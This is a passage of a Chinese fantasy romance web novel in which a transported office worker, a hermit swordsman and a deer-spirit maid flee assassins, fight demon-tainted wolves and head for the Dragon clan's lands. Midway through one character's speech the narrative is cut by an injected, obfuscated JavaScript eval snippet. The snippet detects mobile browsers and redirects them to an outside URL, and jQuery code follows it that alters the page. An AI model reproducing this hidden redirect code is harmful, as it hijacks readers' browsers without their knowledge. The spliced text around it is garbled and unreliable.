祝君竹看着他关上的房门,又望了望幽深的树林,心里的不安像藤蔓一样缠绕上来。她挪回杂物间,靠着土墙坐下,只觉得这简陋的避难所,此刻也充满了不确定性。
天色渐暗,林疏星没有像往常一样送来晚餐。祝君竹饿得前胸贴后背,开始认真思考“隐士是不是都这么不靠谱”以及“他是不是终于意识到养个闲人太亏本打算饿死我”这两个严肃的问题。就在她快要忍不住出去找点野草啃的时候,门外终于传来了脚步声。
门被推开,林疏星端着一碗热气腾腾的、明显加了肉糜的稠粥走了进来。
“抱歉,有些琐事耽搁了。”他将粥放在木墩上,语气平淡,但祝君竹敏锐地发现他袍袖边缘沾了点不起眼的草屑,指尖似乎也比平时更苍白一些。
“今夜无论听到任何动静,切记不要出来,安心休息。”他看着她,额外嘱咐了一句,眼神里带着不容置疑的认真。
祝君竹心头一紧,立刻明白了。他不是忘了送饭,而是刚才可能去处理了某些“琐事”,比如……想要清理掉某些不请自来的“客人”?而这碗加了料的粥,是安抚,也是保证她不会因为饿肚子而乱跑。
“多谢林公子,我明白了。”她郑重地点点头,没有多问。有时候,知道得越少越安全。
林疏星对她的识趣似乎很满意,微微颔首,便转身离开,依旧仔细带上了门。
祝君竹看着那碗香喷喷的肉粥,心情复杂。这位林公子,看起来超然,实则心细如发,甚至有点……滥好人?自己这个天降麻烦,他不仅救了,管吃管住管疗伤,现在还兼职保镖和清道夫?这隐士当得可真够忙的。她摇摇头,开始专心喝粥,味道意外的不错。
夜色渐浓,山林寂静。祝君竹蜷在干草铺上,竖着耳朵倾听。果然,在黎明前最黑暗的时候,她隐约听到了一声极轻微的、像是弓弦崩断又像是某种东西被强行撕裂的异响,很短促,很快就被风声掩盖。
她攥紧了手心,果然有情况!她竖起耳朵听了整夜,再无什么异常。
直挨到天光微亮,门外再次响起林疏星平稳的声音:“祝姑娘,可以出来了。”
祝君竹立刻开门。林疏星站在门外,青衫依旧整洁,只是眉宇间带着一丝难以掩饰的疲惫,眼底有淡淡的青影。他手中拿着一个巴掌大小、绣着暗纹的皮质口袋。
“收拾一下,我们需立刻离开。”他语气果断。
“去哪里?”祝君竹问,目光落在那个精致的袋子上。
“北岳。”林疏星道,“昨夜那位‘访客’,他被我发觉,诱入阵法,焚身自尽了。但他已传了消息,此地已不安全。向西走,进入北岳山脉。山中有条小径,虽然雪大难行,但够隐蔽。”他将皮袋递过来,“此物名‘芥子袋’,可收纳物品,便于携带。姑娘可以带些自用品。”他顿了顿,语气平淡地补充,“只需集中精神意想,即可将物品装入。”
祝君竹接过芥子袋,入手温凉。她心念一动,尝试将旁边木墩上的空碗“收”进去,那碗瞬间消失,而她脑海中能“看”到一个灰蒙蒙的小空间里,那只碗正静静飘着。
“这……太不可思议了!”她忍不住惊叹,这完全颠覆了她的物理认知。随身空间?这技术要是能带回现世,妥妥的外星黑科技,什么物流公司都得破产!
林疏星看着她那副惊奇表情,眼底闪过一丝极淡的笑意,稍纵即逝。“小术耳,不足挂齿,快些收拾。”
祝君竹压下兴奋,立刻行动。她身无长物,只有身上这套林疏星给的、过于宽大让她看起来像个偷穿大人衣服的孩子的粗布衣裤,一床旧棉被。以及职业装口袋里的一些零碎——一支用了多年的钢笔、一个皮质封面的小笔记本(记录一些临时灵感和工作要点),以及那块没能送出去的、设计简约的机械腕表。她将这些连同林疏星给的干粮、水囊一起塞进芥子袋,轻便无比。
“好了。”她将芥子袋系在腰间,感觉自己终于有了点“异界冒险者”的雏形,而不是之前那样纯粹的累赘。
林疏星点头,正欲开口,两人同时警觉地望向院外。凉风卷过晨间的薄雾,二人似乎嗅到了一丝不安。林疏星几乎在她抬眼的同时就已动了,一步上前,手臂一揽,似乎是在用身体为她阻隔了外界的危险。清晨的风掠过他骤然绷紧的侧脸,下颌线绷成一道冷硬的弧线,像出鞘的刃,劈开了所有可能袭向她的不安。
祝君竹怔在原地,鼻尖猝不及防撞上他挺括的衬衫布料,清冽的雪松气息混合着他身上独有的温热,瞬间将她包裹。那片宽阔的背脊挡在她眼前,隔出了一个绝对安全、甚至有些令人晕眩的小小世界。所有嘈杂与纷扰,霎时退得很远。一种陌生的、被牢牢守护的安心感,就这样毫无征兆地,攥住了她的心跳。
晨曦微光中,那头昨日见过的、通体雪白的灵鹿不知何时静静地立在了柴扉之外,清澈的鹿眼直直地望着林疏星身后的祝君竹,眼神复杂,激动、悲伤、希冀交织。
白鹿前蹄轻刨,发出“呦呦”低鸣,周身随即泛起柔和白光。光芒散去,一位身着月白衣裙、梳着双环髻的秀丽少女现身,她眼圈通红,脸上泪痕未干,一出现便“噗通”跪地,朝着祝君竹哽咽叩首:
“小姐!清音……总算找到您了!苍天庇佑!”她抬起头,泪眼汪汪地凝视着祝君竹,但下一秒,她脸上的激动瞬间凝固,变成了浓浓的错愕和难以置信,连哭都忘了,“……呃?您、您……您的脸?!怎么一股子凡人气?”
祝君竹看到这一番变化的操作早已傻了眼张大了嘴,她以极快的速度瞥了一眼林疏星的反应,似乎司空见惯的样子。还没来及的多想,却被清音的话弄得一愣。小姐?谁是小姐?你全家都是小姐!我的脸?怎么了?难道我容貌在这个世界算是长得歪瓜裂枣,把人家都吓到了?
林疏星虽然觉察对方全无恶意,却依旧挡在祝君竹身前看着清音问:“你是……鹿妖?”
清音一脸嫌弃的样子看着他:“你才是鹿妖,你全家都是鹿妖!我是你身后那位……定岳王的女儿——宸月公主……的婢女!是真正的王公贵族……家的婢女!像你这样的乡下人说了你也不懂!”
清音看了一眼祝君竹,猛地揉了揉眼睛,凑近了些,像只警惕的小动物般上下打量着祝君竹,眉头紧紧皱起:“不对啊……契约感应没错,神魂本源的味道也……也有一点点小姐的感觉,可是这脸……怎么完全变了个人?虽然……嗯,仔细看看,也挺好看的,是一种……我没见过的清爽利落,但是……这到底是怎么回事?!”她急得又开始掉金豆子,“小姐,您是不是受了天大的委屈,连模样都被人害得变了?呜呜呜……是不是他害的?”清音手指林疏星。
祝君竹尴尬的摇头:“……不是,其实是林公子救了我。”
好吧,看来是容貌对不上的问题。祝君竹心里反而松了口气,最好是认错人了。
林疏星心中了然,默默退开半步在一旁静静看着。在某些官宦之家,婢女从小与主人签订契约,那是一种神魂之契,任你千生百世,只要主人家不主动与婢女解契,那生生世世都是其婢女。所以应该不会弄错,看来这位砸穿他屋顶的定是当年被封为宸月公主的那位悍妇了!当年我就被她折磨的够惨,真是孽缘!不过看她经历的变故,远比想象的更诡异,连容貌都改变了。是某种高深的幻形术,还是……更离奇的原因?她身边确实有个侍女叫清音。想到这他看了一眼那个表情丰富的样子。
嗯,性子也对得上,不太聪明的样子。
“你先起来,”祝君竹尽量让自己的语气温和,“我……确实不知道你在说什么。你叫我小姐?你口中的定岳王……是我父亲?”她从小就没见过父亲,母亲对父亲也总是避而不谈。于是她选择直接切入核心问题,也是她最关心的问题:“我爸是个平行世界里的王爷?太离谱了!”。
清音闻言,更是确信自家小姐遭了大难,记忆都没了!她连忙爬起来,也顾不得容貌差异了,一边抽泣一边的说:“是啊小姐,你是定岳王的嫡女,江浅月啊!当年叱咤风云,一人独战苏罗数万精兵,立下赫赫战功,被仙帝封为宸月公主!”她说的手舞足蹈,唾沫横飞。
“只是不知何故,仙帝召你入宫说是推演秘法,随后宫内便传出你因误伤仙帝,畏罪潜逃的传闻来。我暗中以魂契寻你,一路追到玉京山脚下。那山禁制厉害的紧,我进不去,便在山外苦守了十几日,忽一日发觉你的魂印消失了。我哭了一整天,想急速返京回报王爷,岂料刚下山却被玄影监的人擒了去。他们用搜魂法欲窥探我的记忆,却不知我用‘五音罗织’的法子,给他们看了些假货,他们关了我许久也得不到什么消息,便放了我出来。待我回到王府,王爷已经出征去抵御苏罗大军,我急着想告诉王爷你的消息,便赶往前线去寻他。岂料又遇上了苏罗人,我被他们打伤,躲在西岭的一个山洞里养伤数十日,好不容易返回天都王府,却碰上玄影监说王爷通敌谋反,要抄家灭族。我无奈入不得府门,又恐被他人认出是王府婢女,只好以‘五音血魂法’将魂魄投身于一头灵鹿,以此隐匿身形。直到上个月,我才修成这‘五音罗幻’的法门,得以幻化人形,口吐人言。我已用鹿身吃草吃了二十余年了!”说到这清音失声痛哭,泪如雨下。
祝君竹听着,悲愤如潮水般涌上,却又被一种更深的无力感阻滞在胸腔。那些叙述像一把生锈的钥匙,粗暴地撬动她记忆深处紧锁的门扉。门后没有清晰的景象,只有剧烈的耳鸣伴着头痛骤然炸开,伴随着零星闪回的模糊画面——其间总固执地映出一个朦胧的少年身影。
她痛得微微蹙眉,下意识地望向身侧的林疏星。他却在这一刻,极其突兀地避开了她的目光,侧脸线条绷紧,原本自然垂落的手,指节微微攥起。
她是祝君竹。这一点在她混乱的脑海中,如同暴风雨中唯一的礁石,依旧清晰而顽固。然而,“江浅月”的遭遇所勾起的、那股锥心的共鸣与愤懑,同样真实得不容忽视。两种真实在她颅内撕扯,唯有那不知来处的少年幻影,与眼前人莫名的回避,在一片混沌中异常刺目。
清音说完,眼泪汪汪地看着祝君竹,忽然想起什么,猛地一拍脑袋:“啊!对了!”她转向林疏星,脸上带着点不好意思,又有点小得意的表情,“那个……贵姓?哦对……林公子是吧?我听山里的野鹿与锦翅鼠说,我家小姐不小心……嗯,砸坏了您的屋顶和床?”
林疏星眉梢微挑,不置可否。眼却瞟了瞟屋顶新补的新瓦片。
清音立刻从自己的芥子袋里掏啊掏,捧出那个暖玉燧阳榻,献宝似的递到林疏星面前:“这个!这个暖玉燧阳榻给您!算是赔偿!虽然可能比不上您原来的……呃,‘雅居’的风韵,但睡觉肯定比破床板舒服!驱寒保暖,温养经脉,效果一流!我们家小姐弄坏的东西,我们肯定赔!”她说着,还用力点了点头,一副“我们很有担当”的样子。
林疏星看着眼前这雕工精致、灵气盎然却堆金砌玉装点到恶俗的暖玉小榻,再想想自己那张被砸散架的硬板床,表情有一瞬间的凝滞。让他一个青衫布衣的儒雅隐士,睡这玩意儿?
祝君竹以手扶额,感觉有点没眼看。清音这赔偿……诚意是够了,但怎么感觉这么怪呢?像是拿个爱马仕包包赔人家砸坏的木板凳……炫富啊!
“……不必。”林疏星沉默了两秒,才找回自己的声音,语气依旧平淡,“陋室寒榻,不值此物。姑娘自己留着吧。”
清音眨眨眼,看了看林疏星,又看了看祝君竹,忽然恍然大悟般,把玉榻往祝君竹手里一塞:“小姐!林公子肯定是觉得这榻太好了,他用了心里不踏实!还是您留着用吧!您看您这细胳膊细腿的,又受了伤,正需要好好温养!”她转头又对林疏星说,语气带着点“我懂你”的体贴:“林公子,您也别不好意思,虽然您这住处是破了点,但人品还是不错的,救了我家小姐,我们记着您的好呢!”
林疏星:“……”他感觉自己被这丫头的话绕得有点晕。
祝君竹拿着手里温润的玉榻,看着清音那一脸“我处理得很妥当”的表情,再瞥一眼林疏星那看似平静无波、实则可能内心正在无语问苍天的脸,忽然觉得这场面……有种莫名的滑稽感。这亡命天涯的开端,似乎因为清音的加入,变得不那么沉重了。
林疏星看着清音那副"我很大方"的模样,又瞥了眼祝君竹手中那与他气质格格不入的暖玉榻,只觉得额角隐隐作痛。他揉了揉眉心,决定不再纠缠这个令人尴尬的"赔偿"问题。
"闲话少叙。"他语气恢复了一贯的冷静,"杀手虽被我击毙,但他必然已经通风报信,此地已非久留之所。我们必须立刻动身,向西进山。"
他看向祝君竹,目光落在她依旧不大灵便的右腿上,眉头微不可察地蹙起。"祝姑娘的腿……"
"我来背小姐!"清音立刻自告奋勇,挺了挺不算宽阔的胸膛,"清音现在可是一头鹿,力气大得很,保证比马车还稳当!"她意有所指地瞟了眼院子里并不存在的交通工具。
林疏星心想:“你就是说我穷的连马车都没有呗。”
祝君竹尬笑的看着清音那纤细的身板,实在不忍心。"不必,我自己能走。"她尝试着单脚用力,想证明自己没那么娇气,结果剧痛传来,差点一头栽倒,幸好及时扶住了门框。
林疏星无声地叹了口气,再次认命般地在她面前蹲下身。"事急从权。"他的语气带着一种"我就知道会这样"的认命感,"上来吧。"
祝君竹看着眼前这清瘦却可靠的背影,咬了咬牙。形势比人强,面子不能当饭吃。她不再犹豫,伏了上去,双手轻轻环住他的脖颈。他的背脊比看起来更坚实,步伐沉稳,给人一种莫名的安全感。只是那萦绕在鼻尖的、与他隐士形象颇为不符的淡淡松雪清气,让她偶尔有些走神。
清音在一旁撇了撇嘴,小声嘀咕:"哼,算他还有点用。不过背着我家小姐,算你三生有幸,便宜你了!"随即她又像想起什么似的,从芥子袋里掏出一件厚厚的、带着柔软绒毛的斗篷,不由分说地裹在祝君竹身上,"小姐,山里风硬雪大,您穿这么少可不行!这‘雪绒斗篷’您披好,防风保暖,还能稍微隐匿气息!"
祝君竹被裹得像个粽子,只露出一张脸,感觉暖和了不少。"多谢。"她轻声道。
"跟我还客气什么!"清音帮她整理着斗篷的带子,动作熟练,"小姐您以前可从不跟我客气的,都是直接使唤的!"她说着,还模仿了一下江浅月当年可能有的、颐指气使的语气,"‘清音,茶!’‘清音,捶腿!’‘清音,闭嘴!’……"
祝君竹:"……"。
那位江浅月小姐,听起来脾气不太好的样子。
林疏星背着祝君竹,听着身后主仆二人(至少清音单方面认为是)的互动,嘴角几不可察地抽动了一下。他不再耽搁,身形一动,便如一片轻盈的云,飘出了小院,径直向西而去。他的步伐看似不快,每一步踏出却仿佛缩地成寸,迅速将那座留下不少回忆的陋居抛在身后。
清音连忙施展身法跟上,她步伐灵动,在雪地上几乎不留痕迹,一边跑还能一边从芥子袋里摸出个水囊递给祝君竹:"小姐,渴不渴?这是我用晨露和山泉调的‘润喉饮’,加了点蜂蜜,可甜了!"
"我不渴,谢谢。"祝君竹婉拒。
"哦,"清音也不勉强,自己灌了一口,又揣了回去,然后开始喋喋不休,"小姐您不知道,北岳这边可冷了,雪能埋半个人!不过风景是真好,尤其是雪晴的时候,阳光照在雪山上,金光闪闪的,跟撒了金粉似的……就是路难走了点,野兽多了点,偶尔还有不开眼的精怪……不过您放心,有我在,那些家伙不敢造次!我现在可是很厉害的!"
林疏星在前方默不作声地听着,只觉得耳边像是跟了一百只麻雀。他忍不住开始怀念之前只有他和祝姑娘两人时,那种虽然诡异但至少清净的日子。
三人一行迅速没入北岳山脉边缘的原始森林。参天古木披着厚厚的雪绒,如同巨大的白色伞盖。积雪越来越厚,寒风如同冰冷的刀子,试图钻透一切缝隙。幸好有清音的雪绒斗篷和……林疏星似乎刻意用自身灵力在周身形成了一层微弱的屏障,挡住了最凛冽的寒风。
走了约莫一个时辰,山路愈发陡峭难行。林疏星依旧步履平稳,气息匀长。清音也还活蹦乱跳,一会变鹿跑去和小动物说,一会变回人形跑来与祝君竹说。甚至还有闲心去追一只试图偷看她芥子袋的、毛茸茸的雪貂,把那小家伙吓得"吱"一声窜没了影。
祝君竹伏在林疏星背上,感受着身下传来的稳定热源和规律的步伐颠簸,再加上斗篷的温暖,竟生出几分困意。她强打精神,观察着四周。这片雪林寂静得可怕,除了风声和他们的谈话声,几乎听不到其他活物的声响,透着一种原始的苍凉和危险。
"林公子,"她忍不住开口,打破了沉默,"我们这是要去北岳的什么地方?"
"深入腹地。"林疏星言简意赅,"只有进入人迹罕至的区域,才能暂时摆脱追踪。"
"哦……"祝君竹想了想,又问,"那……我们大概要走多久?"
"看天气,看追兵,也看运气。"林疏星的回答依旧充满不确定性。
清音在一旁插嘴:"小姐您别担心!北岳山我熟!以前跟着……呃,反正我认识路!山
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998669|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里还有几个相熟的精怪朋友,到时候可以找他们打听消息,借点吃的住的!比某些人只知道闷头乱撞强多了!"她说着,得意地扬了扬下巴。
林疏星懒得理她。
就在这时,林疏星脚步突然一顿,猛地停下。他侧耳倾听,眼神瞬间变得锐利如鹰。
"怎么了?"祝君竹立刻察觉到他身体的紧绷。
清音也瞬间收敛了嬉笑之色,警惕地环顾四周,手已经按在了腰间的短刃上。
"有东西靠近。"林疏星低声道,声音压得极低,"数量不少,速度很快。"
他的话音未落,前方密林的阴影处,传来了令人牙酸的"沙沙"声,仿佛有什么东西正在雪地和落叶上快速穿梭。紧接着,一双双幽绿、猩红或是惨白的眼睛,在昏暗的林间亮起,充满了嗜血和贪婪。
是狼群?不,不完全是。那些身影比普通的狼更加高大,皮毛呈现出不自然的灰败色,獠牙外露,眼睛通红,嘴角滴落着粘稠的涎液,周身散发着淡淡的魔气。
"是……是被魔气侵蚀的雪狼!"清音倒吸一口凉气,"这北岳边境,怎么会出现这种东西?!"
林疏星眼神冰冷。"看来,我们的‘朋友’不仅派了人,还给这些畜生加了点料。"他轻轻跃上一棵巨大的云杉树,将祝君竹放下,让她坐靠在树枝上。"待在这里,别动。"
他缓缓抽出一直负在身后的、那柄看起来朴实无华的长剑。剑身出鞘,并无寒光四射,却有一股沉凝如山岳般的气势,以他为中心扩散开来。
清音也亮出了自己的武器——一对造型奇特的短刺,闪烁着灵动的光芒。"小姐别怕!看我把它们打成狗!哦不对,它们本来就是狗……打成夹尾巴狗!"
魔化雪狼们低吼着,缓缓逼近,形成了一个松散的包围圈,腥臭的气息扑面而来。
战斗,一触即发。
第一头魔狼按捺不住,后腿猛地蹬地,如同一道灰色的闪电,带着腥风跃起扑向清音!
"找死!"清音娇叱一声,身形比魔狼更快,短刺划过一道刁钻的弧线,精准地刺向魔狼的腰腹——铜头铁骨豆腐腰,这是狼类的通病。
然而,那魔狼竟异常敏捷,在空中强行扭身,利爪带着黑气扫向清音的面门!
与此同时,另外几头魔狼也从不同方向扑向了林疏星。它们配合默契,攻势狠辣,显然并非乌合之众。
林疏星面色不变,手中长剑看似缓慢地挥出,却后发先至,剑尖在空中划出几道简洁的轨迹。
"噗嗤!""咔嚓!"
几声轻响几乎同时响起。扑向他的几头魔狼,如同撞上了一堵无形的墙壁,或是咽喉被精准点中,或是关节被巧妙卸开,纷纷惨嚎着倒飞出去,倒地抽搐,失去了战斗力。他的剑法没有绚烂的光影,只有极致的高效和精准,仿佛早已计算好了每一分力道和角度。
另一边,清音与那头魔狼缠斗在一起。她的身法如同穿花蝴蝶,灵动异常,短刺挥舞间带着奇特的音波震荡,让那魔狼烦躁不堪,攻击屡屡落空。但魔狼皮糙肉厚,又被魔气强化,一时间也难以迅速拿下。
"臭狗!看刺!"清音瞅准一个机会,短刺直取魔狼眼睛。
那魔狼狂性大发,不闪不避,张开血盆大口就向清音的手臂咬来!
祝君竹眼看着那腥臭的狼口就要咬中清音,心脏猛地一缩!一股难以言喻的焦急和愤怒冲上心头,她几乎是下意识地,将意念集中到了指尖,似乎有某种沉睡的力量微微一动。
"嗡——"
一声极其轻微、仿佛琴弦拨动的异响。
扑向清音的那头魔狼,动作骤然一僵,仿佛被无形的力量扼住了咽喉,那双猩红的眼睛里闪过一丝茫然和痛苦,扑击的势头瞬间瓦解。
清音虽不明所以,但战斗本能让她抓住了这转瞬即逝的机会!
"得手了!"她娇喝一声,短刺毫不犹豫地狠狠刺入了魔狼相对脆弱的咽喉!
"嗷呜——"魔狼发出一声凄厉的惨嚎,重重摔落在雪地里,抽搐了几下,便不动了。
剩余的几头魔狼见首领毙命,又见林疏星持剑而立,气势凛然,顿时萌生退意,低吼着缓缓向后退去,很快便消失在密林深处。
战斗结束得出乎意料的快。
清音喘着气,收起短刺,正想跑回祝君竹身边。而此时祝君竹忽然身形一晃,脸色变得比雪还要苍白。指尖那一点异动并未随着危机解除而平息,反而像是被突然打开的闸门,一股陌生而庞大的波动不受控制地从她的气海溢散开来,吹散了她身周数丈的积雪。她感到一阵强烈的虚脱和晕眩,仿佛身下的参天古树都在摇晃。
林疏星即便在战斗时也下意识的分神看着祝君竹,在她体内那磅礴的妖力失控溢散的瞬间就已察觉。他没有丝毫犹豫,强顶冲击,身形一动便已贴近她身侧。他出手如电,手掌径直覆上她腰腹间气海要穴。
“凝神!”他低沉的声音带着不容置辩的力道,瞬间压过她体内嘈杂的嗡鸣。
他掌心温热,隔着衣物仍能感受到那股沉稳的力量的触感。祝君竹浑身一僵,腹部被外人触碰的羞耻与惊惶骤然而起,但未及她挣扎,一股温润平和的灵力已如涓涓细流,自他掌心强势却又温柔地渡入,精准地探入她紊乱的经脉核心。
“登徒子!你做什么!快放开我家小姐!”被祝君竹震飞的清音连滚带爬的尖叫。她眼见林疏星如此“无礼”地触碰小姐身体,惊得魂飞魄散,拔出短刺就要冲上来。
“退开!”林疏星头也未回,声音冷冽如出鞘的冰刃,带着一股无形的威压,“人命关天,现在顾不得那许多,想让她灵力暴走筋脉尽断而亡就尽管过来!”
清音被他气势所慑,硬生生刹住脚步,急得满脸通红,手中短刺举着却不敢真上前,眼里又是愤怒又是担忧,活像个炸了毛却又无可奈何的小猫。
此刻的祝君竹已无暇他顾。那外来的灵力带着奇异的引导性,温柔而坚定地包裹住她体内横冲直撞的力量,将它们缓缓梳理、归拢。被迫将全部注意力集中在气海处那紧密相贴的触感上,这是一种远超握腕的、近乎入侵的亲密。两股灵力在她最核心的区域内交织缠绕,他的平稳磅礴,她的生涩微弱,在被迫的同步中形成一种令人战栗的共鸣。
片刻后,那令人心悸的波动终于平息。虚脱感蔓延全身。
林疏星发觉她力量趋于平稳,才缓缓收回自己的灵力,手掌撤离了她腰腹间。指尖与掌心似乎还残留着那纤细腰身的轮廓与异常波动带来的细微颤栗。他目光沉沉地看了脸色苍白、耳根却泛着可疑红晕的祝君竹一眼,刚才的接触,让他对那股力量的奇异与她全然不设防的状态有了更深的认知。
“小、小姐!”清音立刻扑上来,手足无措地想检查又不知从何下手,只狠狠瞪了林疏星一眼。
祝君竹气息微弱,摇了摇头,下意识地将手轻轻覆在方才被触碰过的气海位置,那里仿佛还烙印着灼人的温度。“我没事。”她看向林疏星,声音轻颤,带着一丝难以言喻的复杂,“林公子,你……”
林疏星已还剑入鞘,面色恢复一贯的淡然,仿佛刚才那逾矩的接触从未发生。“稍作调息,必须尽快离开。”他言简意赅,目光扫过血腥的战场,“此地不宜久留。”
清音扶着自家小姐,嘴里仍忍不住小声嘀咕:“就算是为了救人,也太……”却在林疏星一个淡淡的眼神扫过来时,立刻噤声,只鼓了鼓腮帮子。
林疏星走到一头毙命的魔狼尸体旁,仔细观察了一下,眉头皱得更紧。"魔气侵蚀得很深,非自然形成。看来,对方是铁了心要置我们于死地。这里是仙朝瞭望台覆盖的范围,比较敏感,苏罗像是不敢贸然派兵前来,却用上了这种手段。"
苏罗的手段,他清楚的很。
清音也凑过来看了看,小脸皱成一团:"真恶心!这下麻烦了,普通的野兽还好说,这种魔化的家伙又难缠又记仇,说不定还会引来更厉害的东西。"
“嗯,是我的疏忽”,林疏星说着从芥子袋中拿出一个小瓶,倒了些在手中,两手一搓,涂在衣服上。“这是‘香隐露’,你们也涂些在身上罢,免得留下气味被追踪。”
祝君竹正欲伸手接过,清音大喊“不要!小姐不要!那香隐露你知道是什么吗?”
祝君竹茫然的摇摇头。
“是香隐蟾的便溺!”
看着祝君竹依旧茫然的眼神,清音急的跳脚,“就是南方炎州一种绿色浑身黏答答□□尿!涂在身上恶心死人了!我这里有匿息符,贴身收着就能消除气息,可别用那腌臜货色!”
祝君竹听了也觉得恶心,把匿息符贴着胸口收了。
"走。"林疏星不再多言,再祝君竹有些嫌弃又无奈的表情下再次背起她,选择了另一条更加隐蔽难行的小径,加快了速度。
经此一役,气氛明显沉重了许多。清音也不再叽叽喳喳,只是更加警惕地注意着周围的动静。
风雪似乎更大了些,鹅毛般的雪片纷纷扬扬落下,试图掩盖掉他们留下的所有痕迹。
5. 第四回 龙域寻踪希望沉
经此一役,气氛明显沉重了许多。连一向活泼的清音也安静了下来,只是更加警惕地注意着周围的动静,时不时抽动一下她那依旧保留着些许鹿类特征的灵敏鼻子,嗅探着空气中可能存在的危险气息。
风雪似乎更大了些,鹅毛般的雪片纷纷扬扬落下,试图掩盖掉他们留下的所有痕迹和那场短暂战斗的血腥气。林疏星背着祝君竹,一言不发,在越来越厚的积雪和愈发陡峭的山路上纵跃疾行。他的步伐依旧稳健,但祝君竹能感觉到他呼吸的频率稍微加快了些,显然长时间的负重奔行,尤其是在这种恶劣环境下,对他也是不小的负担。
"林公子,"祝君竹忍不住开口,声音在呼啸的风中显得有些微弱,"要不……休息一下?"
"不行。"林疏星回答得干脆利落,"魔狼的血腥气可能会引来更多麻烦,必须尽快远离这片区域。"他顿了顿,补充道,"再坚持一下,前面有个背风的山坳,可以稍作休整。"
清音在一旁听到了,立刻从自己的芥子袋里摸出一颗散发着淡淡清香的绿色药丸,踮起脚努力递到林疏星嘴边:"林公子,给!‘回气丹’,虽然品质不高,但也能略微的恢复些气力!快吃了,别客气!你要是累趴下了,我和小姐可怎么办啊!"
林疏星:"……"他看着几乎要怼到自己鼻子上的药丸,以及清音那副"你快吃别矫情"的表情,沉默了一瞬,最终还是微微偏头,就着她的手将药丸吞了下去。丹药入腹,一股温和的暖流迅速散开,确实缓解了些许疲惫。
"多谢。"他低声道。
"不客气!"清音立刻眉开眼笑,仿佛做了什么了不得的大事,"我还有很多呢!以前在王府……呃,反正存货不少!"她说着,又掏出一颗,递给背上的祝君竹,"小姐,您也来一颗?虽然您没走路,但受惊吓也耗神呢!"
祝君竹看着那绿油油的药丸,犹豫了一下。这异世界的丹药,能吃吗?不会有什么副作用吧?但看着清音殷切的眼神,她还是接过来放进了嘴里。药丸入口即化,带着草木清香,一股清凉之意直冲头顶,确实让她因惊吓和力量异动带来的眩晕感减轻了不少。
"怎么样?不错吧?"清音得意洋洋,"这可是我以前……嗯,反正就是好东西!"
林疏星猜测,她这药丸,该是王府的药房里顺来的。
三人继续前行,果然没多久,就找到了林疏星所说的那个背风山坳。这里地势较低,三面有山岩遮挡,风雪小了许多,甚至能看到一小片裸露的、冻得硬邦邦的土地。
林疏星将祝君竹小心地放在一块相对平整的大石上,自己也席地而坐,默默调息。清音则像只忙碌的小蜜蜂,立刻从芥子袋里往外掏东西——一张厚厚的兽皮垫子铺在祝君竹身下,一个装满热水(不知她何时加热的)的小铜壶,甚至还有一小包用油纸包着的、看起来像是肉脯的东西。
"小姐,快喝点热水暖暖身子!这是‘炙岩獾’的肉干,虽然硬了点,但顶饿!"清音将东西塞给祝君竹,然后又看向林疏星,犹豫了一下,也递过去一块肉干和水囊,"林公子,你也将就吃点?"
林疏星睁开眼,看了她一眼,没有拒绝,接过肉干和水囊,淡淡道:"有劳。"
清音似乎对他的道谢有点意外,眨了眨眼,没说什么,自己也拿了块肉干,坐在祝君竹旁边,像只小松鼠一样"咔嚓咔嚓"地啃了起来。
短暂的休息让体力稍微恢复。祝君竹喝着温热的水,看着眼前沉默调息的林疏星和努力啃肉干的清音,心中感慨万千。短短几天,她的人生发生了翻天覆地的变化,从现代职场精英变成了异世界在逃"小姐",还莫名其妙卷入了巨大的阴谋和追杀。而身边这两个人,一个是被她砸了房子的隐士,一个是自称她婢女的话痨鹿妖,组合堪称诡异,却成了她此刻唯一的依靠。
"林公子,"祝君竹再次开口,这次问出了盘旋在心头许久的问题,"我们一直往北岳深处走,最终要去哪里?总不能一直在这雪山里兜圈子吧?"
林疏星缓缓吐出一口浊气,睁开眼,目光投向风雪弥漫的北方,略有忧色。"去龙族的领地。"
"龙族?"祝君竹和清音异口同声,一个带着惊奇,一个带着诧异。
"没错。"林疏星点头
"他们知道我们是仙朝人,料想我会南下返回仙朝,但我们偏不去仙朝。"他用手一指。
"沿着北岳山脉一直往东走,有座高山,那是须尘第一高山玉京山,那山外的大海便是东海龙族的势力范围。仙朝与龙族素有往来,关系尚可。既然你父亲是定岳王……当年他也与龙族有些交情。或许,我们可以在那里寻求暂时的庇护。"
他提到"定岳王"时,语气微微一顿,不着痕迹地看了祝君竹一眼。寻求龙族庇护,一方面是因为苏罗势力的触角难以延伸到龙族地盘,另一方面,也是想看看能否借助龙族的力量,弄清楚这位"江小姐"身上的谜团。
"龙族是什么样的?!"祝君竹忍不住问
清音一下子跳了起来,眼睛瞪得溜圆,"就是那种……住在海里,会呼风唤雨,浑身亮闪闪,脾气还不太好的大长虫,不过他们大都会幻化人形。"
祝君竹:“……大长虫?这形容……”
林疏星的嘴角似乎也抽搐了一下。"……可以这么理解。不过,见到真龙,最好收起你这套说辞。"
"知道啦知道啦!"清音摆摆手,又兴奋地凑到祝君竹身边,"小姐小姐!我们要去龙族耶!听说龙族都很有钱,宫殿都是用宝石和珍珠堆的!说不定他们看小姐您……呃,看您的面子,奉为上宾呢!总比某些人只会带着我们钻山沟、睡雪地强!"她说着,又习惯性地踩了林疏星一脚。
林疏星已经懒得跟她计较了,只是淡淡道:"龙族高傲,并非易与之辈。能否获得庇护,还是未知之数。当务之急,是先安全抵达龙族边境。"
清音翻了个白眼,忽然有想到了什么,继续说道“对了,据说世子在那。也就是你兄长江倾川,定岳王世子。王爷在变故前把他送往龙族疗伤,说是只有龙族蛟人有法子治。王爷在我离开王府的时候,特意嘱咐我‘若寻到小姐的下落,就带她去东海龙族地域隐姓埋名,万顷波涛之下,尚可家人团聚,安度一生’。”
林疏星听罢点头“若是有世子在,事情或许容易些。”
希望似乎出现了一丝曙光,尽管前路依旧艰难。有了明确的目标,三人的精神都振奋了不少。
